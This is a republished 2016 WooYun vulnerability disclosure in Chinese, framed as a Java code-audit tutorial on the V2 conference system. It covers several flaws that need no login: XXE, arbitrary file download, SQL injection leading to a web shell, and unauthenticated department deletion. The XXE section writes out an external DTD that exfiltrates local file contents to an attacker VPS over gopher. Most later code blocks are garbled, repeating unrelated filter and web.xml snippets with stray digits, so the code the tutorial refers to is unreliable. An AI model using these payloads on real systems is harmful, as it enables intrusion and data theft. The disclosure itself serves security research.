java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

admin 2017年3月30日15:30:37评论446 views字数 254阅读0分50秒阅读模式
摘要

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-03-30: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

漏洞概要 关注数(180) 关注此漏洞

缺陷编号: WooYun-2016-188136

漏洞标题: java代码审计基础教程之V2会议系统多个漏洞集合/无需登录 java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

相关厂商: v2tech.com

漏洞作者: 牛肉包子

提交时间: 2016-03-23 17:00

公开时间: 2016-06-25 13:50

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 第三方不可信程序

45人收藏


漏洞详情

披露状态:

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-03-30: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

简要描述:

包括 sql注入 任意文件下载 越权 getshell xml实体注入

详细说明:

因为学习java并不是很长时间,也没有做深入的研究。但是在学习之后,发现可以审计出一些简单的javaweb漏洞,所以想这这里和大家分享一下。

0x01审计之初

首先,我拿到了源码之后,大概看了一下这个系统的架构,发现是通过Struts写的。在具体看代码之前,我们先看一下这个会议系统有什么功能,在代码审计的时候,不能一股脑的先跑过去就看代码,我们要学会通过功能去找问题的缺陷。现在以**.**.**.**:8288/Conf/jsp/main/mainAction.do 这个站为测试案例。访问之后发现,只有列出了会议,登录,下载这些功能。其中会议进入需要密码,然后还有登录。但是无法注册用户,所以在这套系统中,我们应该去那种无需登录就可以利用的漏洞,如果要登录才能利用那就显得太鸡肋了。先通过常规的黑盒测试并没有发现漏洞(目前暴露出来的功能),下一步我们来审计源码。

0x02 源码审计

在审计javaweb的时候,我的第一步是去看web.xml这种配置文件,在这里里面配置了url的路由规则,severlet的配置,以及fitler的设置。其中fitler的作用就是某一后缀或者某一目录下的所以文件做一次拦截,一般就是用来验证那些需要登录的功能。

Conf/WEB-INF/web.xml

code 区域
<filter>
<filter-name>requestfilter</filter-name>
<filter-class>**.**.**.**mon.RequestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>requestfilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

这里设置了fitler,我们定位到**.**.**.**mon.RequestFilter

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

这儿只是设置了一下页面编码为utf-8,然后继续下面操作,从这儿可以看出这个这个cms并没有通过fitler来做权限控制,这样就很有可能存在未授权的地方。

继续看web.xml里面的内容

code 区域
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>2</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet>
<display-name>Apache-Axis Servlet</display-name>
<servlet-name>AxisServlet</servlet-name>
<servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>proxoolAdmin</servlet-name>
<servlet-class>org.logicalcobwebs.proxool.admin.servlet.AdminServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/servlet/AxisServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>*.jws</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>proxoolAdmin</servlet-name>
<url-pattern>/proxoolAdmin</url-pattern>
</servlet-mapping>

可以看出定义了proxoolAdmin servlet/AxisServlet /services/* 这些url路由,并且包含了/WEB-INF/struts-config.xml配置文件,让在这些url路由中发现

code 区域
**.**.**.**:8288//Conf/servlet/AxisServlet

暴露了一些webservices的接口

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

code 区域
**.**.**.**:8288/Conf/proxoolAdmin

数据库的一些信息

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

先看暴露出的webservices接口存在什么问题

定位代码webapps/Conf/WEB-INF/classes/com/v2tech/cms/webservices/DeptWebService.class

code 区域
public class DeptWebService
{
public String getWebServiceResult(int tradeCode, String xml, String webservicepass)
{
String rtn = "";

ReadSystemConfig readSystem = new ReadSystemConfig();
if (!(readSystem.getWebservicespass().equals(webservicepass))) {
return "<return code='6000'></return>";
}
DepartmentWebServiceBiz deptBiz = new DepartmentWebServiceBiz();
switch (tradeCode)
{
case 100:
rtn = deptBiz.addDepartment(xml);
break;
case 200:
rtn = deptBiz.updateDepartment(xml);
break;
case 300:
rtn = deptBiz.deleteDepartment(xml);
}

return rtn;
}
}

其中有个参数为xml,然后通过不同的tradeCode,将xml参数传入其他地方,跟入addDepartment方法

code 区域
public String addDepartment(String xml)
{
Document document = null;
String deptName = "";
String deptDesc = "";
String thirdDeptid = "";
String thirdParentid = "";
String usernum = "";
String inaddress = "";
String deptorder = "";
String rtn = "";
try
{
document = loadXml(xml);
} catch (Exception e) {
return (rtn = "<result errorcode='3000'></result>");
}
.........省略........
}

其中xml进入了loadXml函数,这儿可能存在xml实体注入。来测试一下。我这儿使用的是AWVS的webservices工具

code 区域
**.**.**.**:8288/Conf/services/BroadcastWebservice?wsdl

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

直接注入实体发现报错了

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

我们将特殊字符进行实体html编码一次,因为在xml中是可以解析html编码后的数据,这里利用gopher协议来获取数据。

先在vps上面新建一个ext.dtd内容如下

code 区域
<!ENTITY % payload SYSTEM 'file:///c:/windows'>
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'gopher://ip:port/x%payload;'>">
%int;
%trick;

在vps上面监听你设置的端口

然后在请求包处构造

code 区域
&lt;!DOCTYPE root [
&lt;!ENTITY % xxe SYSTEM &quot;你外部实体地址&quot;&gt;
%xxe;
]&gt;

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

成功获取数据

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

其中可以发现这个getWebServiceResult方法在多个地方调用,在被调用的地方都存在xml实体注入

包括

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

分析完xml实体注入之后,我们继续看代码,我们来看struts-config.xml中的配置(关于struts-config配置可以看http://**.**.**.**/panjun-Donet/articles/1181811.html),所以在这儿我们着重找scope为request,因为我们这样才好利用漏洞。通阅读代码发现这个cms是通过在每个class类中来判断用户是否登录,代码如下

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

0

如果没有登录的话,就通过findForward方法到sessioninvalid,也在struts-config.xml中定义的

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

1

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

通过阅读代码发现几处没有存在以上代码的类,这也意味着可以无需登录来利用漏洞

webapps/Conf/WEB-INF/classes/com/v2tech/cms/base/common/struts/DownloadAction.class

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

2

通过request.getParameter("path")获取path然后

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

3

进行文件读取,然后下载。这是一个任意文件下载

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

4

/webapps/Conf/WEB-INF/classes/com/v2tech/cms/bulletin/struts/BulletinAction.class

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

5

在这个类中只有systemBulletin方法验证了是否登录,其他的方法都没验证。然后在这个类中又存在多个sql注入。由于这套系统默认是tomcat+mysql这样的架构,其中web路径是不变化的,而且使用mysql的root用户,所以直接可以通过sql注入来getshell。其中details方法,已经在http://**.**.**.**/bugs/wooyun-2010-0143276提交过了

下面我以modify方法为例

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

6

通过 request.getParameter获取sysId然后进入bulletinBiz.getSysBulletinTable

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

7

然后进入了sql之中。

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

8

返回正常

code 区域
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;

public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}

public void destroy()
{
}
}

9

返回为空,确定为五个字段。然后就可以直接写shell了。

构造

code 区域
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>2</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet>
<display-name>Apache-Axis Servlet</display-name>
<servlet-name>AxisServlet</servlet-name>
<servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>proxoolAdmin</servlet-name>
<servlet-class>org.logicalcobwebs.proxool.admin.servlet.AdminServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/servlet/AxisServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>*.jws</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>proxoolAdmin</servlet-name>
<url-pattern>/proxoolAdmin</url-pattern>
</servlet-mapping>

0

成功生成**.**.**.**:8288/test.jsp?cmd=whoami

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

webapps/Conf/WEB-INF/classes/com/v2tech/cms/user/struts/DeleteDeptAction.class

package com.v2tech.cms.user.struts;

code 区域
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>2</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet>
<display-name>Apache-Axis Servlet</display-name>
<servlet-name>AxisServlet</servlet-name>
<servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>proxoolAdmin</servlet-name>
<servlet-class>org.logicalcobwebs.proxool.admin.servlet.AdminServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/servlet/AxisServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>*.jws</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>proxoolAdmin</servlet-name>
<url-pattern>/proxoolAdmin</url-pattern>
</servlet-mapping>

1

可以删除任意部门,且无需登录

漏洞证明:

案例

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

采集测试了一些

code 区域
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>2</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet>
<display-name>Apache-Axis Servlet</display-name>
<servlet-name>AxisServlet</servlet-name>
<servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>proxoolAdmin</servlet-name>
<servlet-class>org.logicalcobwebs.proxool.admin.servlet.AdminServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/servlet/AxisServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>*.jws</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>proxoolAdmin</servlet-name>
<url-pattern>/proxoolAdmin</url-pattern>
</servlet-mapping>

2

xxe测试

java代码审计基础教程之V2会议系统多个漏洞集合/无需登录

修复方案:

不知道

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2016-03-27 13:40

厂商回复:

CNVD未直接复现所述漏洞情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-23 17:01 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低,根本轮不到去拼...)

    1

    前排关注代码审计。啦啦啦。

  2. 2016-03-23 17:02 | bigcow ( 路人 | Rank:18 漏洞数:5 | 我是大奶牛)

    1

    这标题吓得我立马就关注了一波

  3. 2016-03-23 17:02 | Woodisgood! ( 路人 | Rank:8 漏洞数:4 )

    1

    表格666

  4. 2016-03-23 17:07 | sco4x0 ( 实习白帽子 | Rank:35 漏洞数:14 )

    1

    学习表哥的教程

  5. 2016-03-23 17:08 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高,标题一定得屌)

    1

    @3xplit @marioo 我先跪一波再说

  6. 2016-03-23 17:13 | 牛 小 帅 ( 普通白帽子 | Rank:1597 漏洞数:386 | bye)

    1

    吓得我直接跳转收藏了

  7. 2016-03-23 17:19 | Whysec ( 实习白帽子 | Rank:62 漏洞数:15 )

    1

    吓得我立马收藏了

  8. 2016-03-23 17:43 | komas ( 普通白帽子 | Rank:107 漏洞数:25 )

    1

    始终跟不上节奏

  9. 2016-03-23 18:28 | answer java代码审计基础教程之V2会议系统多个漏洞集合/无需登录 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)

    1

    阔怕

  10. 2016-03-23 18:29 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | ..)

    1

    66666

  11. 2016-03-23 18:33 | 狗狗侠 java代码审计基础教程之V2会议系统多个漏洞集合/无需登录 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)

    1

    很赞的漏洞报告

  12. 2016-03-23 18:34 | 镱鍚 ( 普通白帽子 | Rank:302 漏洞数:42 | 执手岁月留香,唱曲往事飞扬...)

    1

    膜拜

  13. 2016-03-23 18:37 | ShAdow丶 ( 普通白帽子 | Rank:121 漏洞数:19 )

    1

    6666

  14. 2016-03-23 18:38 | Erised ( 路人 | Rank:8 漏洞数:4 | ../../../../../../../../../../../../../....)

    1

    先膜拜一波

  15. 2016-03-23 18:57 | 疯狗 java代码审计基础教程之V2会议系统多个漏洞集合/无需登录 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    1

    学到了!

  16. 2016-03-23 20:28 | V1ct0r ( 普通白帽子 | Rank:375 漏洞数:81 | 生活不止眼前的苟且,还有黑客和远方.)

    1

    表哥大节奏啊

  17. 2016-03-27 14:42 | J伦 ( 普通白帽子 | Rank:221 漏洞数:95 )

    1

    膜拜表哥

  18. 2016-03-27 16:06 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    1

    必须得学习一下

  19. 2016-03-27 16:50 | watchdoge ( 路人 | Rank:14 漏洞数:8 | web汪,渗透狗)

    1

    怎么没找到一呢

  20. 2016-03-27 19:37 | von ( 路人 | Rank:18 漏洞数:8 | 一个帅字贯穿了我的一生~)

    1

    这是要出一系列么。。。

  21. 2016-03-27 21:21 | 共产党员 ( 路人 | Rank:26 漏洞数:7 | 为共产主义事业奋斗终身。)

    1

    mark

  22. 2016-03-29 20:44 | 康小泡 ( 路人 | Rank:0 漏洞数:1 | 掉个offer给我吧)

    1

    表哥6666

  23. 2016-05-31 15:34 | cf_hb ( 普通白帽子 | Rank:119 漏洞数:17 | 爱生活,爱安全!)

    0

    提醒:级别足够但是无法查看 Rank 高于自己的白帽子漏洞 ( 可以等待进一步公开或者支付 6 个乌云币提前查看 确定支付并查看 )

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin